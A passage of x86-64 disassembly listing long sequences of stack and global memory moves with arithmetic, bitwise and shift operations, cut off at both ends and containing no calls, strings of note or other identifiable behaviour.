mov ecx, dword [rsp + 0x3c48]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d978]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
mov word [rsp + 0x1134], ax
movzx eax, byte [rsp + 0x1c7]
movzx ecx, byte [rsp + 0x1d2]
sub eax, ecx
mov byte [rsp + 0x17d], al
movsx eax, word [rsp + 0xee0]
mov rcx, qword [rsp + 0xa5d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa0], ax
movsx eax, byte [0x14019bf0e]
movsx ecx, byte [rsp + 0x1c4]
sub eax, ecx
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4658]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb218]
mov dword [rcx], eax
lea rax, [rsp + 0x4144]
mov qword [rsp + 0xb8d0], rax
movzx eax, word [0x14019da28]
mov rcx, qword [rsp + 0xa850]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1010], ax
movzx eax, byte [rsp + 0x165]
mov rcx, qword [rsp + 0xb060]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0xabb8]
mov ecx, dword [rsp + 0x3df8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bfc0], eax
lea rax, [rsp + 0x4434]
mov qword [rsp + 0xb8d8], rax
mov rax, qword [rsp + 0xb420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4478]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb3b8]
mov dword [rcx], eax
lea rax, [rsp + 0x38f0]
mov qword [rsp + 0xb8e0], rax
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xec8], ax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xb8e8], rax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3b60]
shl eax, cl
mov dword [rsp + 0x44c8], eax
mov rax, qword [rsp + 0xac68]
mov rcx, qword [rsp + 0xb430]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4198], eax
lea rax, [rsp + 0x4464]
mov qword [rsp + 0xb8f0], rax
mov rax, qword [rsp + 0xaf00]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14019da90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4248]
mov rcx, qword [rsp + 0xb430]
mov qword [rsp + 0xb8f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb8f8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1bc]
mov byte [rsp + 0x1ec], al
mov rax, qword [0x14019d940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa94]
and eax, ecx
mov rcx, qword [rsp + 0xa658]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
add eax, ecx
mov word [rsp + 0x1020], ax
mov rax, qword [rsp + 0xa9d8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ed], al
mov eax, dword [rsp + 0x443c]
mov ecx, dword [rsp + 0x431c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
lea rax, [rsp + 0x447c]
mov qword [rsp + 0xb900], rax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d4]
add eax, ecx
mov rcx, qword [rsp + 0xae20]
mov word [rcx], ax
mov rax, qword [rsp + 0xabe8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb650]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf27], al
mov rax, qword [rsp + 0xb388]
mov rcx, qword [rsp + 0xb118]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4234], eax
lea rax, [rsp + 0x43e0]
mov qword [rsp + 0xb908], rax
mov rax, qword [rsp + 0xa8e8]
mov ecx, dword [rsp + 0x4520]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42ac], eax
mov eax, dword [rsp + 0x3418]
mov dword [rsp + 0x4668], eax
mov rax, qword [rsp + 0xb650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
and eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0xb860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0xac30]
mov eax, dword [rax]
mov dword [rsp + 0x466c], eax
mov rax, qword [rsp + 0xb140]
mov ecx, dword [0x14019d7e0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa6e8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x19a]
xor eax, ecx
mov rcx, qword [0x14019d950]
mov byte [rcx], al
mov rax, qword [rsp + 0xb558]
movzx eax, word [rax]
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf27]
sar eax, cl
mov byte [rsp + 0x1ba], al
lea rax, [rsp + 0x1128]
mov qword [rsp + 0xb910], rax
mov eax, dword [rsp + 0x4258]
movzx ecx, al
mov eax, dword [rsp + 0x3da0]
shl eax, cl
mov dword [rsp + 0x444c], eax
mov eax, dword [rsp + 0x425c]
mov ecx, dword [rsp + 0x4614]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0xab48]
mov eax, dword [rax]
mov dword [rsp + 0x4670], eax
mov eax, dword [rsp + 0x416c]
mov ecx, dword [rsp + 0x42d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
lea rax, [rsp + 0x4560]
mov qword [rsp + 0xb918], rax
mov rax, qword [rsp + 0xb1b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaeb0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x194], al
movzx eax, word [rsp + 0xec0]
mov word [0x14019db18], ax
mov rax, qword [0x14019dab8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4544]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa840]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb058]
mov eax, dword [rax]
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0xa910]
mov ecx, dword [rsp + 0x4380]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4670], eax
mov eax, dword [rsp + 0x45b8]
mov dword [rsp + 0x4678], eax
mov rax, qword [rsp + 0xb2f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10bc]
add eax, ecx
mov rcx, qword [rsp + 0xb5e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ed]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xafd0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x19a]
movsx ecx, byte [rsp + 0x1e5]
add eax, ecx
mov byte [rsp + 0x8c], al
movsx eax, word [rsp + 0x1088]
movsx ecx, word [rsp + 0xe88]
sub eax, ecx
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0xb670]
mov rcx, qword [rsp + 0xb2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bfc4], eax
mov eax, dword [rsp + 0x4598]
mov dword [rsp + 0x467c], eax
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0xf60]
or eax, ecx
mov rcx, qword [rsp + 0xb870]
mov word [rcx], ax
mov rax, qword [rsp + 0xae58]
movzx eax, byte [rax]
movzx ecx, byte [0x14019900c]
xor eax, ecx
mov rcx, qword [rsp + 0xaac0]
mov byte [rcx], al
mov rax, qword [rsp + 0xafb8]
mov eax, dword [rax]
mov dword [rsp + 0x4680], eax
mov eax, dword [rsp + 0x3acc]
mov rcx, qword [rsp + 0xa3a8]
mov qword [rsp + 0xb920], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb920]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4250], eax
mov eax, dword [rsp + 0x43e0]
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0xb548]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb5a8]
mov qword [rsp + 0xb928], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb928]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4438], eax
lea rax, [rsp + 0x10d8]
mov qword [rsp + 0xb930], rax
mov rax, qword [rsp + 0xa9c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b4]
sub eax, ecx
mov rcx, qword [0x14019d7c8]
mov byte [rcx], al
mov rax, qword [0x14019d9b0]
mov ecx, dword [rsp + 0x4664]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb168]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb8d0]
mov ecx, dword [rsp + 0x3b98]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
mov rax, qword [rsp + 0xafc8]
mov eax, dword [rax]
mov dword [rsp + 0x4688], eax
mov eax, dword [rsp + 0x4334]
mov ecx, dword [rsp + 0x4208]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4180], eax
lea rax, [rsp + 0x44dc]
mov qword [rsp + 0xb938], rax
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
movsx ecx, byte [0x14019d796]
sub eax, ecx
mov rcx, qword [rsp + 0xb710]
mov byte [rcx], al
movsx eax, word [rsp + 0x109c]
movsx ecx, word [rsp + 0xa94]
add eax, ecx
mov rcx, qword [rsp + 0xa6b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
mov word [rsp + 0x113c], ax
movzx eax, byte [rsp + 0x1da]
mov rcx, qword [0x14019d7f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf2a], al
mov rax, qword [rsp + 0xacb0]
mov rcx, qword [rsp + 0xb380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4424], eax
lea rax, [rsp + 0x4130]
mov qword [rsp + 0xb940], rax
mov rax, qword [rsp + 0xadc8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d7b5]
add eax, ecx
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0xac58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb310]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
lea rax, [rsp + 0x44d8]
mov qword [rsp + 0xb948], rax
mov rax, qword [rsp + 0xaaa8]
mov ecx, dword [0x14019bef4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb2d8]
mov dword [rcx], eax
lea rax, [rsp + 0x458c]
mov qword [rsp + 0xb950], rax
mov rax, qword [rsp + 0xaf50]
mov ecx, dword [rsp + 0x4414]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4680], eax
movzx eax, byte [rsp + 0x1c8]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14019d7b4], al
lea rax, [rsp + 0x1008]
mov qword [rsp + 0xb958], rax
mov eax, dword [rsp + 0x4350]
mov rcx, qword [rsp + 0xb2b0]
mov qword [rsp + 0xb960], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb960]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x43b4], eax
mov eax, dword [rsp + 0x43d8]
movzx ecx, al
mov eax, dword [rsp + 0x4150]
shl eax, cl
mov rcx, qword [rsp + 0xb530]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb488]
movzx eax, word [rax]
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb3f8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb018]
mov byte [rcx], al
lea rax, [0x14019bf17]
mov qword [rsp + 0xb968], rax
mov rax, qword [rsp + 0xb7a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa990]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfd4], ax
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f5c], eax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x4610]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14019d8a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4510]
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0xb380]
mov rcx, qword [rsp + 0xaa60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb670]
mov dword [rcx], eax
mov eax, dword [0x14019bf40]
mov dword [rsp + 0x4690], eax
mov rax, qword [rsp + 0xa898]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb910]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb8], ax
mov rax, qword [rsp + 0xb818]
movzx eax, byte [rax]
mov rcx, qword [0x14019da10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
mov rax, qword [rsp + 0xb230]
mov ecx, dword [rsp + 0x41e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3578], eax
mov rax, qword [rsp + 0xb388]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb458]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov dword [rsp + 0x4694], eax
lea rax, [rsp + 0x4344]
mov qword [0x14019db20], rax
movzx eax, word [rsp + 0xf8c]
mov rcx, qword [rsp + 0xb2e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb1f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17b]
movzx ecx, byte [rsp + 0x197]
shl eax, cl
mov rcx, qword [rsp + 0xb5d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb440]
movzx eax, word [rax]
mov word [rsp + 0x1144], ax
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0x174]
or eax, ecx
mov byte [rsp + 0x1eb], al
mov eax, dword [rsp + 0x45ac]
mov dword [rsp + 0x4698], eax
mov rax, qword [0x14019d9c0]
mov rcx, qword [rsp + 0xb070]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4448], eax
movzx eax, byte [rsp + 0x1e0]
mov byte [rsp + 0x1ee], al
mov rax, qword [rsp + 0xb3c8]
movzx eax, word [rax]
movzx ecx, word [0x14019bfb0]
and eax, ecx
mov word [rsp + 0xfd0], ax
mov eax, dword [rsp + 0x4658]
mov dword [0x14019db28], eax
mov rax, qword [rsp + 0xb740]
mov ecx, dword [rsp + 0x4534]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43d8], eax
lea rax, [rsp + 0x4578]
mov qword [rsp + 0xb970], rax
mov rax, qword [rsp + 0xaf28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3dd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb190]
mov dword [rcx], eax
lea rax, [rsp + 0x154]
mov qword [rsp + 0xb978], rax
mov rax, qword [rsp + 0xb870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa850]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [0x14019dad8]
mov ecx, dword [rsp + 0x4618]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
lea rax, [rsp + 0x4310]
mov qword [rsp + 0xb980], rax
mov rax, qword [rsp + 0xb878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41e0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb110]
mov ecx, dword [rsp + 0x45a4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019da98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41a0]
mov dword [rsp + 0x469c], eax
mov rax, qword [rsp + 0xb7c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb7c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1114]
mov rcx, qword [rsp + 0xb810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb138]
mov word [rcx], ax
movzx eax, byte [rsp + 0x172]
mov byte [rsp + 0x1ef], al
movzx eax, word [rsp + 0x1134]
movzx ecx, word [0x14019bfa8]
sub eax, ecx
mov word [rsp + 0xf6c], ax
mov eax, dword [rsp + 0x3f34]
mov dword [rsp + 0x46a0], eax
mov eax, dword [rsp + 0x41c0]
movzx ecx, al
mov eax, dword [rsp + 0x4600]
shl eax, cl
mov rcx, qword [rsp + 0xb0a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb708]
movzx eax, byte [rax]
mov byte [rsp + 0x1f0], al
movzx eax, word [0x14019d7b0]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019bfc8], ax
mov eax, dword [rsp + 0x4284]
mov ecx, dword [rsp + 0x431c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x432c], eax
mov eax, dword [rsp + 0x4348]
mov rcx, qword [rsp + 0xb8d0]
mov qword [rsp + 0xb988], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb988]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xab88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb820]
mov ecx, dword [rsp + 0x4694]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0xa428]
mov rcx, qword [0x14019da00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb170]
mov dword [rcx], eax
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0xb990], rax
mov rax, qword [rsp + 0xb650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a6]
add eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0xac68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3978]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3908], eax
lea rax, [rsp + 0x45bc]
mov qword [rsp + 0xb998], rax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0xd48]
add eax, ecx
mov rcx, qword [0x14019d898]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1a1]
mov rcx, qword [rsp + 0xb298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x174], al
lea rax, [rsp + 0x175]
mov qword [rsp + 0xb9a0], rax
mov rax, qword [rsp + 0xb4c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0xae10]
mov rcx, qword [rsp + 0xa728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45a8], eax
lea rax, [rsp + 0x4058]
mov qword [rsp + 0xb9a8], rax
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4088]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x35fc], eax
mov eax, dword [0x14019bf84]
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4300]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x436c], eax
mov rax, qword [rsp + 0xb428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
or eax, ecx
mov rcx, qword [rsp + 0xae18]
mov byte [rcx], al
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb578]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019bf6c], ax
lea rax, [rsp + 0x44cc]
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a4], eax
lea rax, [0x14019d7e0]
mov qword [rsp + 0xb9b8], rax
mov rax, qword [rsp + 0xb750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb498]
mov qword [rsp + 0xb9c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x42c0], eax
movzx eax, byte [rsp + 0x119]
mov byte [rsp + 0x1f1], al
movzx eax, word [rsp + 0xf78]
movzx ecx, word [0x14019bfb0]
and eax, ecx
mov word [rsp + 0x1134], ax
mov rax, qword [rsp + 0xa6b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfec]
sub eax, ecx
mov rcx, qword [rsp + 0xa6f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb500]
movzx eax, byte [rax]
mov byte [rsp + 0x1f2], al
lea rax, [rsp + 0x43b4]
mov qword [0x14019db30], rax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xaad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xafb8]
mov dword [rcx], eax
lea rax, [rsp + 0xf24]
mov qword [rsp + 0xb9c8], rax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e6]
add eax, ecx
mov rcx, qword [rsp + 0xb428]
mov byte [rcx], al
mov eax, dword [rsp + 0x45dc]
mov ecx, dword [rsp + 0x3af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab08]
mov eax, dword [rax]
mov dword [rsp + 0x46a8], eax
mov eax, dword [0x14019bf50]
mov ecx, dword [rsp + 0x36fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x447c], eax
mov eax, dword [rsp + 0x469c]
mov dword [rsp + 0x46ac], eax
mov rax, qword [rsp + 0xae20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
add eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
lea rax, [rsp + 0x1de]
mov qword [0x14019db38], rax
mov rax, qword [rsp + 0xabb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4514]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4458], eax
mov rax, qword [rsp + 0xa980]
mov eax, dword [rax]
mov dword [rsp + 0x46b0], eax
mov rax, qword [rsp + 0xac80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43fc], eax
lea rax, str.so_g_
mov qword [rsp + 0xb9d0], rax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb950]
mov qword [rsp + 0xb9d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9d8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4448], eax
mov rax, qword [rsp + 0xaae0]
movsx eax, word [rax]
mov rcx, qword [0x14019d868]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb228]
mov word [rcx], ax
movzx eax, byte [rsp + 0x192]
mov byte [rsp + 0x1f3], al
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [rsp + 0xb3c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xad88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e7]
mov rcx, qword [0x14019d890]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019bf0a], al
lea rax, [rsp + 0x4018]
mov qword [rsp + 0xb9e0], rax
mov rax, qword [rsp + 0xaf08]
mov ecx, dword [rsp + 0x4340]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41e8], eax
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0xb9e8], rax
movzx eax, byte [rsp + 0x12e]
movzx ecx, byte [rsp + 0x18e]
and eax, ecx
mov rcx, qword [rsp + 0xb568]
mov byte [rcx], al
mov rax, qword [rsp + 0xb5a8]
mov ecx, dword [rsp + 0x4318]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4528], eax
mov eax, dword [rsp + 0x4250]
mov dword [rsp + 0x46b4], eax
mov rax, qword [rsp + 0xa6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x469c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb998]
mov rcx, qword [rsp + 0xb140]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b74], eax
mov rax, qword [0x14019da80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa640]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019db10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0xb698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x147], al
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x4428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4664], eax
mov eax, dword [rsp + 0x4178]
mov dword [rsp + 0x46b8], eax
mov rax, qword [rsp + 0xb180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c4]
sub eax, ecx
mov byte [rsp + 0x1df], al
movzx eax, word [rsp + 0x1034]
mov word [rsp + 0x1148], ax
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
and eax, ecx
mov word [rsp + 0xef8], ax
movzx eax, byte [rsp + 0x1d0]
movzx ecx, byte [rsp + 0x1a6]
shl eax, cl
mov byte [rsp + 0x1a0], al
mov eax, dword [rsp + 0x42b4]
mov dword [rsp + 0x46bc], eax
mov rax, qword [0x14019d9c0]
mov ecx, dword [rsp + 0x4208]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bfcc], eax
mov rax, qword [rsp + 0xb638]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb000]
mov qword [rsp + 0xb9f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9f0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xb570]
mov dword [rcx], eax
lea rax, [0x14019da08]
mov qword [rsp + 0xb9f8], rax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4434]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb110]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb758]
movzx eax, word [rax]
mov word [rsp + 0x114c], ax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0xaab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1cc], al
mov rax, qword [rsp + 0xa950]
mov ecx, dword [rsp + 0x45e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4188], eax
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
mov dword [rsp + 0x46c0], eax
mov rax, qword [rsp + 0xb648]
mov ecx, dword [0x14019d8b0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb788]
mov dword [rcx], eax
lea rax, [rsp + 0x4208]
mov qword [0x14019db40], rax
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0xba00], rax
movzx eax, byte [rsp + 0x1cb]
movzx ecx, byte [rsp + 0x177]
add eax, ecx
mov rcx, qword [rsp + 0xa890]
mov byte [rcx], al
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a1]
sub eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
lea rax, [rsp + 0x10ec]
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xb8b8]
mov ecx, dword [rsp + 0x3acc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3dd0], eax
lea rax, [rsp + 0x4254]
mov qword [rsp + 0xba10], rax
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov rcx, qword [rsp + 0xb0b8]
mov byte [rcx], al
movzx eax, word [rsp + 0xdb8]
movzx ecx, word [0x14019d850]
sub eax, ecx
mov word [rsp + 0x1064], ax
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44a4]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bf3c], eax
mov rax, qword [rsp + 0xb8a8]
mov eax, dword [rax]
mov dword [rsp + 0x46c4], eax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
